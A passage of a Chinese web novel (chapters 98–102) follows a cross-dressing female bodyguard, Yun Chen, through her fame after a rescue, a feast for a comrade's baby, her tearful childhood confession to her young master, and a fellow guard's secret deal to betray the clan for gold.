第98章 孤男寡女
当烟火折子亮起的那一刻,菘蓝看清了云琛伤痕累累的脸,也看清她衣衫破碎,露出白色的肌肤,伤口全都冒着血。
可因为看见霍乾念安然无恙,云琛便笑了。
一副无畏生死的身体,一个纯粹的像孩子似的笑容。
菘蓝无法形容看到这一幕的震撼。
她好像一瞬间明白了霍乾念那长篇大论里的一种意思。
云琛无论在哪里,在这世界的任何角落,她都能闪闪发光。
就像生命力顽强的野草一样,从不抱怨脚下是贫瘠还是顽石,她永远能扎根活下去。
那一刻,菘蓝不得不承认,云琛是她这辈子见过的最鲜活又蓬勃的人。
那种全力以赴的忠诚与执着,让旁人都觉得感动,更遑论霍乾念。
可让菘蓝奇怪的是,云琛明明像个打了胜仗归来的骄傲将军,却只对着霍乾念浅浅害羞地笑;
而霍乾念明明疯了一般地冲过来,却只是目光含水,定定地望着云琛,什么也不说。
好像只差最后一步,又好像不差这一步。
菘蓝搞不懂这两个人,但二人之间深深的默契却让她突然心生嫉妒。
菘蓝转过身,不再去看。
循着烟火折子,侍卫们和霍帮护卫们匆匆赶来。
有人眼尖,瞥见不远处的树林里有一闪而过的野兽绿眼。
众人这才发现,霍乾念与菘蓝走失的这处地方,竟然是山谷最远、野兽最多的乱石滩,赶忙燃起火把,手忙脚乱地将菘蓝和霍乾念搬上船。
不言被救得早,也随众人一起赶来。
看见最信任熟悉的兄弟,云琛才终于敢晕过去。
“不言哥,我身上疼得厉害,先别动我……”晕倒前的最后一刻,云琛说了这么一句。
不言心疼地背起云琛,立马就摸到她身侧和腹部有凹陷。
趁行船回温泉小屋的空档,云琛攥着衣襟,昏睡了两个多时辰。
所有人都忙着照顾霍乾念和菘蓝,只有不言和小六守在云琛身边。
小六问:
“那菘蓝女官为啥穿着咱少主的衣服?”
不言砸吧砸吧嘴,有点同情地看了昏睡的云琛一眼:
“唉,八成是少主怜香惜玉,把衣服借给菘蓝女官的。你说真寸啊,怎么一跟着公主出游就没好事呢?这下好,少主和菘蓝女官,孤男寡女地待了半天,患难生情,咱少主又借衣服给人家,这下真说不清了……”
“那少主会娶菘蓝女官吗?”
小六刚一问完,就见云琛蹭得睁开了眼睛。
……
回到京都后。
云琛这一遭受伤,又在床上躺了半个月。
她倒是清闲了,霍府却被一封封请柬搅得不堪其扰。
云琛这遭勇潜急流冒死救主的事迹,在公主府侍卫们的大力宣传下,已是人尽皆知。
“喂,听说霍帮那护卫在深水急流里往返八十个来回,不仅救了自家主子,还一一救了帮里兄弟和公主侍卫们,实在仁义!”
“听说面对瀑布深潭,那霍帮护卫眼睛都不眨一下,一头扎进,左手一条鱼,右手一个人,一下就上来了!”
“不不,我听说,那霍帮护卫先是在水中与水**缠斗,然后又上岸与黑熊搏斗,身上骨头全都干碎了,杀得只剩最后一口气,才救了主子!”
“当真勇猛!”
“男子汉大丈夫若当如此,真是勇也!快哉!”
“不只呐!我还听说那霍帮护卫男生女相,长得白白净净,活脱脱一副俊俏书生模样呢!”
传言越传越夸张,简直要把云琛吹得如应龙在世一般。
再加上公主府、苏府,还有那几个被救侍卫的府上,全都送来了恩礼。一时间,云琛名声大噪。
因古人有诗云:“玄都观里桃千树,尽是刘郎去后栽”,故桃花峪又名玄都峪。
听闻云琛的事迹,某文**笔一挥,写下“玄都奇勇”四个字。
如今京圈便都称云琛为“玄都护卫”,那名号不是一般的响亮。
一时间,云琛这“玄都护卫”成了京圈护卫的标杆。
对护卫这行来说,敬佩向往者有之,羡慕嫉妒者有之,也有几个鄙夷唾弃的在里面。
而对于京都名流权贵们来说,谁不想拥有这样一名忠贞不二又本领高强的护卫呢?
护卫主子安全都是次要的,若有玄都护卫在旁,光说出去都颇为骄傲,足以彰显主家尊贵。
因此,一封又一封请柬送达霍府,不敢直言“挖墙脚”,只说请云琛到府上为本府护卫队指点一二。
雪花片一样多的请柬送进霍府,云琛一封都没见着,全被霍老太爷拦了下来。
来一封,霍老太爷便撕一封。
最后来的实在多,给霍老太爷整急眼了,竟直接派两个泼辣的仆从去对方府门口叫骂:
“一二三四五六七!孝悌忠信礼义廉!君额上能跑马!掘家将如掘祖墓坟茔!何不请你爷头!请你娘头!”
意思是:无耻王八脸真大!挖人家护卫,犹如挖人家祖坟!请云琛?请你爹娘个头!
对霍老爷子这种战场上摸爬滚打又在商海里浮沉过的人来说,这种程度的骂人都算轻的。
但对自视甚高,以高雅自居的京圈名流来说,这辈子都没见过这样带爹捎娘骂人的,只得紧闭大门,都不敢出来应声。
云琛并不知这些话外事,只知道自己一个女扮男装的家伙竟得了“玄都护卫”这么大的名号。
伤好能下地的那天,她刚一开门,就见花绝和不言像两个门童似的立在门边,齐齐掸袖、整衣、行礼、问安——齐声大喊:
“小的给‘玄都护卫’请安!大人吉祥!”
趁云琛愣神的功夫,叶峮从旁故作正经,呵斥小六:
“小六!还不赶紧给‘玄都护卫’大人开路!”
小六欢快地应了声,嬉皮笑脸道:“‘玄都护卫’大人可是要拉屎去?小的扶着您去!”
花
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绝瞪眼,“不敬!怎能在大人面前说这等不文雅的字眼,得说——”
在众人注目下,花绝一本正经地说:“得说‘大人是要去拉玄屎’吗?”
“哈哈哈哈哈哈哈哈哈——”
“哈哈哈哈哈哈哈哈哈——”
几人再也忍不住,哄堂大笑闹做一团。
云琛脸通红,也不知是被臊的还是气的,就近捉住花绝就打,大骂:
“你们这几个狗,就该让你们在山谷里喂狼!赶紧过来吃我一‘玄拳’!”
几人好好笑闹了一阵,云琛注意到荀戓不在,这不像他的风格,便去他房里寻人。
走进荀戓的亲卫单间,她瞧见荀戓正面朝里躺在床上,竟然是在睡大觉。
云琛走过去薅他起床:
“狗哥,你现在越来越懒了,大白天在这睡觉!都不去看我!走,陪我给叶哥女儿买满月礼去!都拖好久了!”
荀戓慢慢起身,看起来像是刚睡醒,又像很虚弱的样子,后背和褥子上全是汗迹。
云琛问:“狗哥,你咋了,怎么出这么多汗?”
荀戓脸色蜡黄,勉强笑笑:
“做噩梦了,梦见你嫂子跟别人好了,给我吓的。”
“哈哈哈日有所思夜有所梦,直说你想嫂子了呗!”云琛打趣了几句,拉着荀戓就往外走。
离开霍府,往集市上去。
一路上,云琛像只小鸟一样叽叽喳喳,荀戓只在一旁笑听着,也不多说话。
二人在集市上逛了许久,云琛选定了一串银制的九连环:
“狗哥,我就送这个了,叶哥脑子好,他女儿一定也脑子好,就送这个吧,给孩子练练手!”
荀戓则驻足在一家金店门口。
见荀戓看着金店牌匾发愣,云琛赶紧拉他:“狗哥,你意思一下行了,用不着买金,你还要留钱养家呢!”
荀戓却挣开云琛的手,径直往金店里走,云琛怎么都拦不住。
那金店老板看见二人身上的霍帮高等护卫服制,立刻眉开眼笑地上来迎接。
荀戓问:“有长命锁吗?”
得知二人是给满月的孩子买礼物,老板立刻捧出十几种不同款式的长命锁。
荀戓选了一大一小两只锁,叫老板包起来,又选了一个更大的锁,抬手挂在了云琛脖子上。
“狗哥你干啥?我都多大人了,还带这玩意儿?”云琛说着要摘下脖子上的长命锁。
荀戓却拦住她动作,罕见地露出一脸不容拒绝的严肃,用命令的语气道:
“哥给你的,戴着!”
云琛不懂荀戓这是在干什么,就听荀戓又道:
“带着锁,哥就能保佑你小子长命百岁,平平安安。”
云琛心里感动,又甚少见荀戓黑脸,便没有拒绝。
付钱的时候,云琛心里替荀戓肉疼,却见荀戓毫不在意,只拍下钱,扭头就走。
云琛心里开始琢磨,要不把最近收的礼拿去换成钱,回头给荀戓补贴家用吧。
第99章 花边绯闻
又过了几日。
云琛伤好的差不多时候,叶峮女儿的百天宴到了。
本来约好,几人要一起去叶峮家的,结果不言忙着飞府衔试考暗卫,荀戓和小六晚点才能下班次,云琛只得去找花绝。
听闻府里下人说,方才见到花绝往偏门去了,云琛便过去寻他。
远远地,她看见花绝背对着她,长身倚在桃花树下,面朝着门外一人说话。
因为花绝身量遮挡的关系,云琛看不清门外是谁,但从花绝松懈的背影和浑身直冒粉红泡泡的架势来看,对方应该是个女子。
云琛悄悄躲到树后,只听花绝道:
“今儿晚上是叶峮哥女儿的百天酒,我们都得去呢!”
一个娇滴滴的女声回应:“那你少喝些,喝多了难受,对身体不好。”
花绝嘿嘿一笑,身子扭得像抽羊角风的蛇,声音粘得像蜜糖似的,高兴地回:
“我知道了,到时候我带着你做的梨糖去,喝完酒我就吃一颗,就不难受了。”
娇滴滴的女声害羞地笑。花绝则不要脸地靠过去,声音暧昧道:
“过两日我要外出办差,好久见不到你,快叫一声‘小哥哥’来听听。”
云琛躲在树后听着这些,捂着嘴狂笑,但不敢发出声音。
片刻,那女声又羞又柔地喊了一声“小哥哥”。
云琛光听着那声音,就觉骨头都快酥了,忍不住探头去看。
她瞧见花绝嘴都要咧到月亮上去了,一个笑起来甜甜的姑娘正对着他害羞地笑。
姑娘说:“我走了,不同你说了,糖铺里忙得很。”
花绝恋恋不舍:“好,等忙完差事,我同你一起打理铺子,重的东西你别动,等我搬!”
云琛捂嘴偷笑,随即悄悄离开。
叶峮女儿百天宴。
院子里满满当当摆了十桌酒席。
云琛提着银质九连环走进院子,乍看全是霍帮护卫,还以为是霍帮搞年会呢。
终于等人到齐,照旧叶峮、花绝、不言、云琛、荀戓和小六坐一桌,没一会儿,叶峮家的小子叶城抱着个粉雕玉琢的娃娃出来了。
一群大老爷们立刻跟打了鸡血似的,喊着“快给我看看大侄女”“给我抱抱”,争着上**娃娃。
叶峮慌忙从“狼群”里夺过小绵羊似的女儿,疼惜地摸摸那粉嫩小脸,埋怨道:
“你们小心着些,别给我摸坏了!”
“哈哈哈哈哈哈——”众人哄笑。
一人打趣道:
“女儿奴啊女儿奴!谁敢给咱大侄女摸坏了?这么一百多个叔叔伯伯在此,谁敢造次?”
另有人一拍大腿,叫道:“完了完了,咱大侄女长大说亲可难了!谁家敢对付咱这一百多个老丈人?哈哈哈哈哈哈——”
叶峮脸上笑的一团花似的,“哪能让臭小子占便宜,不给嫁!”
“哈哈哈哈哈——”
叶峮抱着女儿在各个桌前展示,引得众人全都伸长了脖子去看,稀罕得不知怎么才好,只能一个劲儿地塞拨浪鼓、手钏、瓷娃娃。
轮到云琛的时候,她只看见一团白白嫩嫩的小棉花缩在叶峮怀里,一双黑宝石似的眼睛滴溜溜望着她,咧开没牙的小嘴朝她笑。
“阿琛,你抱抱。”叶峮将孩子递过来。
云琛吓得连连往后躲,手却不自觉地伸了过去。
她小心翼翼抱住孩子,感觉这是她在世上抱过最轻又最重的东西。
也许是女子的天性,她看着才刚来到这世界的小小人儿,不觉眼神柔软,甚至有点想落泪。
瞧出她情绪波动,小六笑道:“瞧云哥这样,巴不得赶紧生一个呢!”
叶峮笑道:“我女儿同阿琛有缘,喜欢阿琛的。”
云琛小心地伸出食指,凑近孩子的小手,被那棉花糖一样的小手紧紧握住,往嘴里放去。
她急得叫起来:“不行我手有茧!别划着嘴!”却不敢用力抽回手,只能用惊慌求助的目光看向叶峮,惹得众人哈哈大笑。
一群糙汉子笑起来,那笑声震耳欲聋,终于吓得孩子哇哇大哭。
叶峮这下也慌了,惊声叫着“夫人救命!”抱起孩子往屋里跑。
众人笑的更欢了。
庆祝一个小生命到来,远比送走一个生命高兴。
因此,这酒喝得比平时任何时候都畅快。
三两圈下去,划拳的,吹牛的,打嘴巴仗的……仿佛今夜全京都的嘴都在这儿了,吵得人头大。
小六还惦记着腌臜他云哥,酒壮怂人胆,道:
“云哥,你赶紧成亲生一个,名儿我都给你想好了,就叫‘云玄都’!”
“噗——”花绝一口酒喷了出来。其他人全笑地趴在桌子上直不起腰。
云琛气得拿鸡翅膀捅小六,“你他娘没完了!我今天就送你去投胎!‘云玄都’这名儿留给你下辈子用!咋样!”
不言赶紧拉架,但他也有点喝高了,再加上刚考完飞府衔试,暗卫之事十拿九稳,他兴奋得很,一时嘴上没把住门,对小六道:
“你这孩子,就别捅你云哥肺管子了!阿琛啥时候追上菘蓝女官,啥时候八字才能有一撇呢!”
不等云琛说话,叶峮愣了:“菘蓝?阿琛喜欢的原来是菘蓝女官?不对吧?”
荀戓也失笑,“怎么可能!明明……明明……”
荀戓“明明”了半天,硬是没敢说出“霍姑娘”三个字来。
这时,花绝惊问:“不是霍阾玉那丫头吗??”
几人你
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一言我一语,云琛根本插不上话,气得她大叫:
“真他娘造谣一张嘴!都别给我造花边绯闻了!”
花绝叹了声“我的乖乖”,搂住云琛脖子笑道:
“看不出啊看不出,咱们最老实的小阿琛竟然玩得这么花?这么多小香香等着呢?”
云琛俯身紧紧抱住花绝的腰,做好标准的防挨打姿势,坏笑道:
“再花也没你花呀——小哥哥,梨糖给我吃一颗呗!”
花绝大窘,脸唰地就红了,使劲捶云琛,“你这臭小子!偷听别人墙根!”
“哟哟哟——不打自招了!花绝,赶紧把弟妹带来瞧瞧!”
“他才舍不得呢!肯定天黑了躲被窝里偷摸自己看!”
“别瞎说啊!人家正经好姑娘!”
“哈哈哈哈哈哈哈哈哈——”
一直闹到天黑,酒喝了七八轮,众人还没有散场的意思。
云琛实在喝不下了,借口醒酒,一溜烟儿偷跑回霍府。
见栖云居还亮着灯火,她走进去,正见霍乾念坐在院子里等她。
隔着老远,霍乾念便闻见那冲天的酒气。
他端起旁边一直温在小炉子上的醒酒汤给她:
“喝点吧,不然明日醒了难受。”
她一手提过碗边,一手叉腰,喝酒似的一口气干了,看得他直笑着摇头。
他拍拍腿,朝她招手,“靠近些,来擦擦嘴。”
换做平时,她都是一抬袖子一抹嘴就完事,这会却乖乖地挪过去,傻笑着仰起头。
他捧起她的脸,用帕子一点一点、格外仔细地为她拭净嘴。
隔着薄薄的帕子,他的手指清晰地触到她滚烫的红唇,不觉轻轻颤了一下。
终于擦完,趁她醉着,他收起帕子时顺势捏了捏她的脸,温声问:
“百天宴怎么样?”
“坐了十桌,人特多,礼物都堆成山了,属少主的礼最阔气。我喜欢少主给叶哥女儿起的名字——‘叶灵’,真好听。”
“叶峮的女儿如何?”
她手舞足蹈地比画,回道:
“特别特别漂亮的一个小娃娃,跟玉雕出来的似的,小胳膊藕节一样可爱,白白嫩嫩的!”
“这么喜欢孩子,那日后我们领养一个。”他说。
完全没注意到他话里的“我们”是几个意思,她摇头,打着醉腔,不高兴地撅嘴:
“干嘛领养?我喜欢自己生的,我要自己生。”
他愣住,心里立马纠结成一团乱麻。他记得从前她酒醉时说过,不喜欢女子来着,这会怎么又要生个孩子?
以为她是不经人事,又醉得很了,他哄道:
“傻瓜,男子生不了孩子的。”
她没搭腔,只是低下头,突然沉默了。
第100章 若信念坚固
云琛低着头,沉默了很久很久。
再抬起头时,竟然已泪流满面。
“将来我若有了自己的孩子,我一定不冷落她,不随意打骂她,不将她关黑屋……我不会让她一个人在马厩里哭着入睡,不会欺负她的娘亲,也不会让旁人欺负她……”
霍乾念听得心酸,他从没想过,云琛鲜少提起的家世过往,竟然如此辛酸。
看着那双泪眼楚楚的小鹿眼,他觉得这世间真真犯了死罪。
仿佛一腔压抑多年的委屈与痛苦,那洪流终于找到了出口。
云琛再也忍不住,彻底放声痛哭起来:
“原以为,天下的爹爹应当都是那么凶,那么冷落孩子的。可老太爷对你就不是,叶峮哥对他女儿也不是,我才知道,你们这样才是应当的。
我记得小时候,爹很疼爱娘和我,他们常在一起说说笑笑,娘给爹刮胡子,爹带娘骑马看花……可后来,爹又娶了小娘,从小娘进门那一天开始,娘就再也没有笑过了……
娘说,一生应当只许一人,若许不了,便是不爱,因为人的心不可分割。爹却说,娘是被那些莺莺燕燕的文人酸词毒害了,便从此再也不让我读书认字。后来,小娘生了一个弟弟,两个妹妹……爹便再也没有抱过我……”
她越说越伤心,越哭越凶,忍不住扑进他怀里大哭:
“从我五岁开始,爹……爹就再也没有抱过我了……我已经不记得被爹爹抱着是什么感觉了……少主……少主……我也已经快忘记我娘的样子了……
少主,你知道吗,我娘病了,病得快要**,我爹却只惦记着拿我去和有钱的林家结亲……我娘急火攻心,气得吐了好大一摊血,便再没有醒过来……
我娘尸骨未寒,我爹就着急抬小娘为正妻,就连祖坟里,我爹的位置旁边也是一左一右,平起平坐的两个空位……他难道叫我娘死都要看着他和另一个女子在一起恩爱吗……少主……我好难过……我也想有叶峮哥那样的爹爹,疼爱我,也疼爱我娘……”
她哭得几乎昏厥,抽泣的额头上一片红疹。
他从未见过她如此伤心痛哭,他的衣衫都几乎要被那泪水湿透。
他抱住她,哄孩子一样轻拍着她的后背,直到她渐渐平息,他才将下巴轻抵在她发顶,用带有鼻音的声音,温柔而坚定地说:
“琛儿,我再养你一遍,用金银和玉,用花和香——用一颗不会分给任何人一丝一毫的心,好吗?”
只可惜最后这两句话她并没有听见。
她趴在他腿上,脸上挂着泪痕,沉沉睡去。
与此同时,另一边。
借口醒酒逃席的不止云琛一个。
一道身影离了叶峮家后,直奔郊外破庙。
破庙荒凉,房梁已坍塌。
莲花座上的佛像因为风雨侵蚀,通体已变成斑驳的灰白色,可佛像的神态仍旧不悲不喜,仿佛并不在意这泥塑腐朽的躯体。
“若信念坚固,十年一念,亦决得生。”
荀戓喃喃念着莲花座上刻着的这句话,不觉怔了很久。
他太过专注,以至于干了这么多年护卫,竟完全没察觉有人悄悄靠近。
一声诡笑贴着他耳边响起:
“呵呵,很荣幸见到荀戓大人——”
荀戓从沉思中惊醒,本能后退一步,同时“唰”地抽出了佩刀。
来人动作极快,一把摁住荀戓的手,制止了他抽刀的动作,笑道:
“既然答应了见面,那就好谈谈呗,不必动手了吧。”
荀戓沉着脸,缓缓将刀压回刀鞘,仍旧目光警戒地盯着对方。
来人道:“我方才说‘很荣幸见到大人’,是真心的。”
见荀戓不语,只是阴沉着脸,浑身透着敌意,来人露出阴阳怪气的笑容,道:
“玉家与霍帮争霸楠国商界已久,这么多年打来杀去,一直没有个结果,很大原因在于霍帮太过铁板一块,全是像荀戓大人这样的好手在旁,让我们是刺杀也不成,挑拨也无法。
因此,玉家有专门针对‘霍帮护卫’量身制定的策反法。如若能策反一个‘霍帮护卫’为我们玉家所用,则价值百金,而像荀
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戓大人这样的‘霍帮亲卫’,足值千金之数。”
荀戓冷眼看着这个陌生的玉家护卫,“和我说这些干什么?我只要你们许诺的一千两黄金,少一毫都不行!”
那玉家护卫笑道:
“说这些没别的意思,就是想告诉大人,这么多年,玉家从没有间断过策反、腐化霍帮护卫,只可惜从来没成功过。而大人你——是第一个。”
荀戓瞬间脸色煞白,仿佛人还立着,脊梁骨却已被生生折断。
似乎怕说得狠了,荀戓会反悔,那玉家护卫试探够了,赶忙从旁提出一个沉重的匣子,道:
“大人别生气,我们玉老爷知道有霍帮亲卫肯投诚这事,非常重视,愿拿出这二百两黄金为定金,不论事成与否,都是玉老爷的一点心意。事成之后,一千两黄金,绝对不差分毫。”
沉默许久,荀戓声音嘶哑地开口:
“需要我做什么?”
玉家护卫道:
“请大人偷出‘醒狮印章’。”
荀戓一愣,“那是霍帮最机要之物,乃是霍帮在商的重要印记,只由少主贴身保管……”
“所以才要请大人帮忙,毕竟,那章子值二百两黄金呢!”玉家护卫说着拍了拍装满金子的匣子。
又沉默了片刻,荀戓最终提起匣子,脚步沉重地往外走。
将走到门口时,荀戓顿足回头。
“你说,玉家一直都有为‘霍帮护卫’量身定制的策反法,有相应的赏金?”
“没错。”
“其他人多少钱?”
那玉家护卫反应了一下,才明白荀戓是问其他人值多少,便道:
“不言大人、花绝大人同荀戓大人你一样,若策反成功,许一千两黄金。叶峮大人五千两。”
荀戓点点头,而后又问:“云琛呢?”
那玉家护卫意味不明地笑笑,道:
“一万两。”
不再多言,只最后看了那灰白的佛像一眼,荀戓大步离开。
不知道是不是他的错觉,那明明不悲不喜的佛像,此时却目光悲悯,垂垂地望着他。
第101章 玩物丧志
云琛发现,霍乾念真的很喜欢小孩子。
他不仅帮叶峮女儿起了“叶灵”这么好听的名字,还天天变着法儿给叶灵买玩具。
什么铜钱老虎、七巧板、小人偶、鸠车、竹蜻蜓、铜牛马、陀螺……
每隔几天,霍乾念就会变戏法似的拿出一样小孩子喜欢的玩具,询问云琛的意见。
云琛儿时不得父亲疼爱,自然没见过这些,她恍然大悟道:
“原来小孩子不是玩九连环啊?”
霍乾念笑道:
“每一样东西,你都替我检查十遍,查仔细了,别有毛刺伤着孩子,然后再叫叶峮拿回去。”
她欢快地应下,一边检查玩具,一边每样玩几个来回。
基本每回都是她新鲜够了,才将玩具给叶峮。
叶峮也没料到自家女儿这么得主子喜爱,一段时间过后,玩具堆的家里都快放不下,足够叶灵玩到嫁人了。
叶峮琢磨着要不要哪天把叶灵带过来,给霍乾念磕一个,以示感恩。
过了好一阵,玩具的“风头”过去,霍乾念却又突然迷上“玩物丧志”:
今儿让云琛陪他去看皮影戏,明儿又喊云琛去玩兔儿灯。
他甚至还亲手做了几只风筝,挑了个日晴风朗的日子,带云琛在垂星湖旁放起风筝。
叶峮等人只当是主子累久了,不愿去看书房里堆成山的信函,需要放松下心神。
至于云琛,她小时候只放过一次风筝,早就忘了儿时那短暂的快乐,不免玩得兴奋。
她拿着竹轴,举着风筝线,在青绿茂盛的草地上飞跑大叫,风筝还没飞起来,她已经快乐得像个二傻子。
叶峮、花绝和不言抱着胳膊站在一旁,花绝一脸嫌弃:
“阿琛,别告诉我你不会放风筝,有你那样放的嘛?”
不言啧啧摇头,道:
“我用脚放的都比你好,你把竹轴举那么**嘛呢?举线啊我的哥!你顺风跑啥的呢??”
最后几人实在看不下去了,三个大男人被迫加入这幼稚的小孩子游戏。
在叶峮几人的操作下,风筝很快高高飞上了天。
云琛高兴地望着飘摇在蓝天白云间的风筝。
霍乾念便高兴地望着她。
“真好看……”她喃喃地说,接着又蹦出一句令人惊掉下巴的话,道:
“如果多绑几只风筝在少主的轮椅上,我们以后是不是就不用推少主了?少主的轮椅可以自己跑了?”
霍乾念手握成拳,举到嘴边咳嗽两声,掩饰笑意,佯怒道:
“你敢?!”
叶峮连连摇头,竖起大拇指对云琛道:
“我看你小子不光自己想上天,你还想让少主上天啊?”
不言用一种“你好牛逼”的眼神看着云琛,“阿琛,论脑子有病我是真服你。照你的办法,以后咱是不用推少主了,你简直是给少主搞了个远程定位啊!以后玉家人也不用费劲心思去暗摸少主在哪儿了,看风筝就行。你特娘是玉家奸细来的吧?”
“每天不用说,全京都的人都知道咱主子这会是在上茅房还是睡觉,十二时辰面向全京都现场直演啊!”花绝嘴贱地补充到。
云琛才不管几人如何腌臜她,只一个劲儿叫唤把风筝栓霍乾念轮椅上试试。
叶峮见这小家伙有点发疯,只得手一抖,断了风筝线,任风筝越飘越远。
见云琛去追风筝了,叶峮长舒一口气,对霍乾念道:
“少主,要不先送您回屋避避风头?躲一躲?”
“不用。”霍乾念笑着摆手,只叫几人推着他一起去追云琛。
云琛顺着方向跑了半天,终于在后山的果园子找到风筝。
她跳上果树取风筝,留意到树上的柿模已经熟透,便摘了一个在衣服上蹭蹭,咬了一口。
满嘴爆汁,果肉绵密清甜,三两口便吞掉一个,直到吃得肚子溜圆,她还舍不得下去。
霍乾念和叶峮几人赶过来,叶峮笑骂:
“你个猢狲!
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赶紧下来,小心看园子的老李收拾你!”
云琛舔舔吃得水润发亮的嘴巴,笑嘻嘻道:
“放心,老李走路慢,等他来了,咱们都吃饱了——再说了,还有少主在这,怕什么?”
霍乾念仰头看着树上的云琛,笑道:
“摘一个给我尝尝。”
“好嘞!”云琛用袖子擦擦嘴,摘下一个熟得透透的,朝树下抛去,却不偏不倚砸在霍乾念身边的花绝头上。
红黄色的果汁流了花绝满脸,气得他连连比画手势叫道:
“来来来,你小子给我下来说话!”
“嘿嘿……”云琛坏笑一声,又拿起两个柿模朝花绝砸去,百发百中,砸的花绝衣服上全是果汁。
一旁不言笑得直不起腰,却被云琛一柿模扔进嘴里,差点噎死。
“咳咳咳…你特娘……咳咳我不言干了一辈子护卫,差点被你这狗怂用柿模弄死,咳咳……”
叶峮知道下一个糟糕的肯定是自己,惦记着身上是才刚换的干净衣服,舍不得弄脏,他便赶紧闪身躲到霍乾念背后,故作严肃道:
“阿琛,别玩了,快下来!”
云琛使劲摇头,捂着嘴一个劲儿地笑。
还没等叶峮反应过来,就感觉两边肩膀被重重拍了一下。
花绝和不言一左一右,佯装揽肩膀,实则将手里熟透的柿模狠狠拍碎在叶峮的肩。
看着污渍斑斑的衣服,叶峮气得跳脚,也捡起地上熟透的柿模朝二人打去。
一时间,树上云琛铆足了劲出手,树下三人一会混战一会又攻击云琛。
霍乾念只见到眼前柿模飞来横去,果汁在空中喷洒飚射,空气里全是甜甜的果汁味道。
等润禾过来寻人,说裁缝铺的人来了的时候,只见到处一片狼藉。
四个大男人玩的猴一样疯,浑身挂满柿模残渣。像是从果酱里捞出来似的。
润禾不由啧啧感叹:
“真是越活越回去了,跟小孩儿似的!”
第102章 气死名家的气质
栖云居里,京城最有名的裁缝铺来了六个人,是霍乾念叫来给几个亲卫做衣服的。
老裁缝们一边为云琛几人量体,一边笑道:
“几位大人身量极好,配上咱这霍府最贵的料子,穿在身上定然火树银花一般!”
花绝失笑:“你这老裁缝还挺会说话!”
老裁缝笑着应了几句,而后问霍乾念:
“敢问霍少主,给每位大人做几身衣服呢?”
霍乾念道:“春秋冬夏各十六套,骑马八套,游湖八套,看花八套,玩泥巴八套,赴宴十二套,常服十八……每人至少八十套吧,选最时兴的样式来,从头到脚从里到外一并做好,不必看重料子结实,好看便是,磨坏了就换新的。”
“好嘞!霍少主放心,我们一定给诸位大人捯饬得威风又漂亮。”
云琛几人则张大嘴巴,惊道:
“少主,八十套?能穿得过来吗?你这也太大方了!”
花绝倒是习惯了:“这有什么,我小时候在家,每年我爹娘都要这样为我做好一年的衣服。”
不言则搂住一个裁缝的肩膀,絮絮叨叨说了半天,最后嘱咐道:
“我可是要当暗卫的,老师傅,暗卫你晓得不?护卫里最酷的那种!给我的衣服不用太花哨漂亮——贵就行了!”
另一个老裁缝问云琛:“大人,您想要什么样式的?”
云琛想了想,不好意思道:
“要漂亮的。”
老裁缝连忙捧出一沓子布料样式,叫云琛挑选。
待老裁缝忙活完离开的时候,已经是半下午了。
叶峮、花绝与不言各自领了差事去忙,只有云琛陪着霍乾念在书房理事。
但霍乾念却不处理事务,只是坐在云琛身旁,一笔一画地教她学写字。
云琛认的字,学起来便很快,只是笔笔都写得像柴火棍一样,毫无笔锋可言。
霍乾念却在一边点头夸道:
“写得很好,有名家的气质。”
云琛缩缩脖子,“少主的字京都闻名,我的嘛……有气死名家的气质。”
“哈哈哈——”霍乾念大笑。
而后两个时辰,一直到天黑,两人都一直在书房里待着。
香炉里升起袅袅白烟,散发着梨木的清香。
霍乾念在书桌前处理事务,云琛坐在对面的矮桌上,像个刚刚上学堂的孩子一样,一笔一画认真地学写字。
她写得专注又认真,嘴巴不自觉地微微努起,可爱得很。
写来写去,几十张纸上都是“霍”字。
她说,“霍”字横竖撇点都有,得学,最后却趴在桌子上,头枕着宣纸就睡着了。
等她睡醒,从纸上挪开脸,只见脸上印着大大的一个“霍”字。
“哈哈……”他又在笑。
到了就寝的时候,今日是她轮值守夜。
照往常,霍乾念总要在睡前与她闲聊一阵,今日却不同。
他递过来一本画集,“念给我听听。”
她打开画集,认真地读起来:
“羊村有一孩童,性顽,喜学鸡鸣。一日夜半,孩童梦中鸡鸣,啼声响彻村宇。百十农家纷纷睡中惊起,拾农具上田劳作,却见月明星稀,各舍晨鸡皆睡中,不由大骂……哈哈哈,少主,这个故事好有趣……”
她一边念故事,一边咯咯地笑。
“少主,这画集真好看,画得真好。这字也好,怎么像是少主你的字?”
他眼睛弯弯笑看着她,“就是我画的,喜欢吗?”
还有几十本,都是他挑灯夜战,选了最好看的故事,亲笔写写画画,做出的画集。
“云琛,以后每日睡前,都念一个故事给我吧。”他说。
“嗯!”她捧着画集,脸上洋溢着暖暖的笑容。
这时,他又神神秘秘地朝她招手,指了指床底下。
“那个也给你,拿出来玩。”
她兴趣大盛,钻进床底下,捧出一个三尺长的沉重铜匣。
“好重,这是什么?少主送我一匣子暗器?还是磨剑石?”
他笑笑不说话。
她打开匣子,只见一座精致小巧的成套微缩府宅出现在眼前。
像是将一座府宅从里到外缩小了一千倍。
巴掌大的前厅里放着袖珍的桌椅,挂着黄豆大小的灯笼。
寝屋里是原模原样缩小的床
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榻,那纱幔比树叶还小一圈,榻上甚至还放着两个米粒大的花枕头。
再往旁边,还有巴掌大的厨台,指甲盖大的锅子,甚至还有可以盛一口水的小桶,能烧四五滴水的银锅。
以及七八个泥塑的小人,全都是有鼻子有眼,一副护卫模样。
不知是什么样的能工巧匠,竟能制出这样一套精致繁复的玩具。
“叶峮哥放树下,不言哥拿远些,最好拿到看不见的地方去,他太吵了,哈哈……给花绝挂杆头晒太阳,小六塞酒坛子里,狗哥留屋里睡大觉……哈哈……”
她痴迷地把玩这小小府宅,感觉眼睛都不够用了,可看的东西实在太多,每一样都精美极了。
“那你呢,你在哪里?”霍乾念问。
她拿起最后一只泥人小护卫,犹豫了一下,轻轻落在他手心,眼神清澈地看着他,用理所当然的语气道:
“少主在哪里,我就在哪里。我和少主在一起——我值守呀!”
她说的显然是“护卫”意思,可听在他耳朵里,不知怎的就成了另一种意思。
他垂下睫毛,“我儿时,娘亲曾送给我一套这样的东西,刻制的是一个有米铺、糖铺、酒肆、食肆……二十几间不同铺子的集市。我找那老师傅做了一套这个,想的你应该会喜欢。”
她小心翼翼地捏起一只小酒壶,嘬了口壶嘴,开心道:
“好看,真的好看!我很喜欢,少主!”
大概她是后两句话说得太快,几乎连在一起,他心尖猛地颤动,喉结上下滚动来去,平复许久,才摸摸她的头,声音暗哑:
“玩吧,今夜我守着你睡。”
因为白天玩太疯,旧伤又一直没彻底好,她竟真觉得十分困乏,把玩着那小桌子、小椅子,手里握着一根牙签大的扫帚,就慢慢睡着了。
